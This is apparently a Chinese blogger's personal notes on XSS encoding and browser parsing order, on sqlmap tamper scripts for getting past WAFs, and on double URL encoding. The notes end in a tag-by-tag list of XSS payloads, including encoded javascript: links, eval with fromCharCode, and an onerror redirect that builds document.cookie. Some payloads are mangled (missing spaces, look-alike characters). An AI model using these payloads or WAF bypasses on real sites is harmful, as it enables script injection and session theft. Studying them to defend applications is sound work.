zoukankan      html  css  js  c++  java
  • xss的编码原理

    把以前的笔记翻出来整理一下

     

    最前方 xss如何选用编码原理,为什么

    找到的挺清楚的文章了:https://www.cnblogs.com/p0laris/p/11898322.html
    浏览器解析有两种走法,分别是HTML解析->JS解析->URL解析,还有一种走法是HTML解析->JS解析->URL解析->JAVASCRIPT解析,那我们要知道怎么触发第二项呢:由url解析器进行判断,从而确定是是否使用javascript解析器,例如%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29这一段是JavaScript:alert(1)但是此时我们的这段语句经过了HTML解析器和JS解析器来到了URL解析器,但是由于此时我们是全编码的,URL编码器判断他为正常的五类型,而不会使用JS编码器,而需要我们改为javascript:%61%6C%65%72%74%28%31%29这样url编码器看到才会判断出js代码从而发送到JS解析器成功返回xss语句,在尝试当中尽管看起来两者返回的效果都是一样的,但是前者只是单纯的文本罢了。

    下方概括:

    https://www.freebuf.com/articles/web/54686.html
    常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64,unicode等等。
    回车、换行只在属性中引号里才会起作用。如果你对标签或者属性用 回车、换行,这时你大可放心,决对不会弹窗。而且在属性值里 回车、换行随便用。如果空格出现在xss代码里并不会弹窗,但是如果出现在字符和符号之前,就可以弹了。 注意事项:跳过回车和换行,不支持on事件。例如下面的代码

    sql绕waf

    替代空格脚本space2mssqlblank.py和space2mysqlblank.py,此外,如果有的应用是用 ASP / ASP.NET 编写的话,则 charunicodeencode.py 和 percentage.py 脚本就可以用于隐藏真正有效的 payload。
    如果 Web 应用的 URL 由于某些原因解码了请求,则 chardoubleencode.py 脚本就可以派上用场。
    接下来我们有一些乱码的脚本:charencode.py 和 chardoubleencode.py 。这些脚本对于绕过不同的关键字过滤非常有用,例如,当检测到 table_name 且无法绕过它时。 第一个脚本是space2hash.py和space2morehash.py,它们可以与 MySQL 一起使用(依然没有在MSSQL上进行尝试)。这些脚本将所有空格替换为使用随机文本来截断注释,脚本的扩展版本(space2morehash.py)还将在某些函数名称和括号之间添加注释。 参数污染:https://zhuanlan.zhihu.com/p/75458595

    unicode

    https://www.cnblogs.com/tsingke/p/10853936.html

    七零八落随笔知识

    在sql注入当中我们使用+代替空格,其实+在浏览器服务器解析为空格,+本身放到sql数据中是无法被执行的。(在xss的搜索栏,有事我们也可以使用+,即) 二次编码:原本我以为的二次编码是对于url进而两次加密,即%25%32%37,其实不是这样的因为当我发现%25的时候突然察觉到并不简单因为他的url转码为%号,所以正确的应该是%2527->%27->',就是这样,原因也就是有些waf并未对参数进行解码,而后面程序处理业务时会进行解码,所以就相当于只解了一次码,而二次编码本来的应用是为了解决因为有时从客户端提交的URL无法确定是何种编码,可能服务器选择的编码方式不匹配,则会造成中文乱码。为了解决这个问题。

    unicode编码:Unicode编码可以在js中先被解析,再作为命令执行,而在html上下文中,unicode不会被解析,会直接作为字符串输出。JavaScript的String.fromCharCode(numX),其中numX为Unicode值(十进制),此方法需和eval联合使用。
    例如:<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
    <script>alert(String.fromCharCode(49,49))</script> //此处我试验是能弹窗的,上一个没有<a href="java&#115;cript:alert('xss')">link</a> HTML编码:形式:“&#”加上十进制、16进制的ASCII码或Unicode编码, 例如:<img src=#οnerrοr="&#97&#108&#101&#114&#116&#40&#50&#41">这样在浏览器当中就会变成<img src="#οnmouseover=&quot;alert(2)&quot;">,对于16进制的html,那么我们转换第一个a即<img src=#οnmouseover="&#x61&#108&#101&#114&#116&#40&#50&#41"> 他转换出来的效果是同上的

    具体例子(网上找到的一组示例非常详细了,可以自己搭建试一下)

     12
    源代码 <a href=j&#x61;vascript:&#x61;lert('&#x61;')>code</a> <a href=j%61vascript:alert('%61')>code</a>
    显示 <a href="javascript:alert('a')">code</a> <a href="j%61vascript:alert('%61')">code</a>
    二次显示 无法访问403
    解释 第一次做了HTML解码; 一次显示没有解码;超链接伪协议不完整,不会触发js弹窗;
      3 4
    源代码 <a href=javascript:%61lert('%61')>code</a> <a href=javascript:alert('x61')>code</a>
    显示 <a href="javascript:%61lert('%61')">code</a> <a href="javascript:alert('x61')">code</a>
    二次显示
    解释 二次显示说明执行了URL解码,对比2,伪协议完整,本身没有编码,对后面进行URL解码; 一次显没有解码;二次显示做了JS解码;
      5作废作废作废 6
    源代码   <a href=javascript:alert('x25x06x01')>code</a>
    显示   <a href="javascript:alert('x25x06x01')">code</a>
    二次显示  
    解释   对比7
      7 8
    源代码 <a href=javascript:alert('%5c%78%36%31')>code</a> <a href=javascript:alert('&#x26;&#x23;&#x78;&#x36;&#x31;&#x3b;')>code</a>
    显示 <a href="javascript:alert('%5c%78%36%31')">code</a> <a href="javascript:alert('&#x61;')">code</a>
    二次显示
    解释 二次显示做了URL和JS的解码,并且解码顺序为先URL后JS 一次显示执行了HTML解码,二次显示没有解码;

    on属性标签

    body:
    onscroll:鼠标滚轮滑动时触发。 
    onload:页面结束加载之后触发。 
    onerror:在错误发生时运行的脚本。 
    background:后接javascript代码。

    script:
    scr:链接一个外部脚本文件,以 .js 为后缀保存。
    onerror:在错误发生时运行的脚本。
    string.fromCharCode(***))

    img:在img标签里SRC几乎是必有的,你可以加个#然后再去使用其他的属性如onmouserover。
    SRC:链接一个外部脚本文件,以 .js 为后缀保存。
    LOWSRC:lowsrc 属性可设置或返回图像的低分辨率版本的 URL。
    DYNSRC:dynsrc可以用来插入各种多媒体.
    onerror:在错误发生时运行的脚本。同时可以与location连用进行绕过onerror=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29" onmouserover:鼠标指针移动到图片后执行Javascript代码。

    td:
    background:后接javascript代码。

    a:
    onmouserover:鼠标指针移动到图片后执行Javascript代码。
    href:javascript:document.location='http://www.google.com。

    meta:
    embed:
    src:链接一个外部脚本文件,以 .js 为后缀保存。
    例子:<EMBEDSRC="data:image/svg+xml;base64,PHN2ZyB4bWxucz=="type="image/svg+xml"AllowScriptAccess="always">

    input: src:链接一个外部脚本文件,以 .js 为后缀保存。
    onfocus:点击的时候发生,配上autofocus。
    onblur:onblur 事件会在对象失去焦点时发生。

    link:
    href:javascript脚本,例如<LINKREL="stylesheet"HREF="javascript:alert('XSS');">

    div:
    onmouserover:鼠标指针移动到图片后执行Javascript代码。
    style:background-image: url(javascript:alert('XSS')).
    onclick:onclick 事件会在对象被点击时发生。
    expression:把CSS属性和Javascript表达式关联起来,例:<DIVSTYLE=" expression(alert('XSS'));">

    object:
    同embed<objectdata=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=>

    button:
    onclick:onclick 事件会在对象被点击时发生。
    onfocus:点击的时候发生,配上autofocus。
    ormaction:ormaction属性覆盖 form 元素的 action 属性。
    该属性适用于 type="submit" 以及 type="image"。

    p:
    onmouserover:鼠标指针移动到图片后执行Javascript代码。

    var:
    onmouserover:鼠标指针移动到图片后执行Javascript代码。

    marquee: 
    onstart:onStart():是activity界面被显示出来的时候执行。

    isindex:
    src+onerror:<isindextype=imagesrc=1onerror=alert(1)>
    action+type=image:<isindexaction=javascript:alert(1)type=image>

    select:
    onfocus:点击的时候发生,配上autofocus。

    textarea:
    onfocus:点击的时候发生,配上autofocus。

    keygen:
    onfocus:点击的时候发生,配上autofocus。

    svg:
    onload:
    onload:页面结束加载之后触发。

    math:
    herf:<mathhref="javascript:javascript:alert(1)">CLICKME

    vedio:
    onerror+src:<videosrc=xonerror=alert(48)>。

    同上。

  • 相关阅读:
    leetcode——36.有效的数独
    leetcode——60.第K个排列
    leetcode——128. 最长连续序列
    leetcode——81. 搜索旋转排序数组 II
    leetcode——49.字母异构词分组
    leetcode——75.颜色分类
    leetcode——44.通配符匹配
    leetcode——88.合并两个有序数组
    leetcode——116.填充每一个节点的下一个右侧节点指针
    树莓派系统终端中让文件和文件夹显示不同颜色的设置
  • 原文地址:https://www.cnblogs.com/ophxc/p/12851705.html
Copyright © 2011-2022 走看看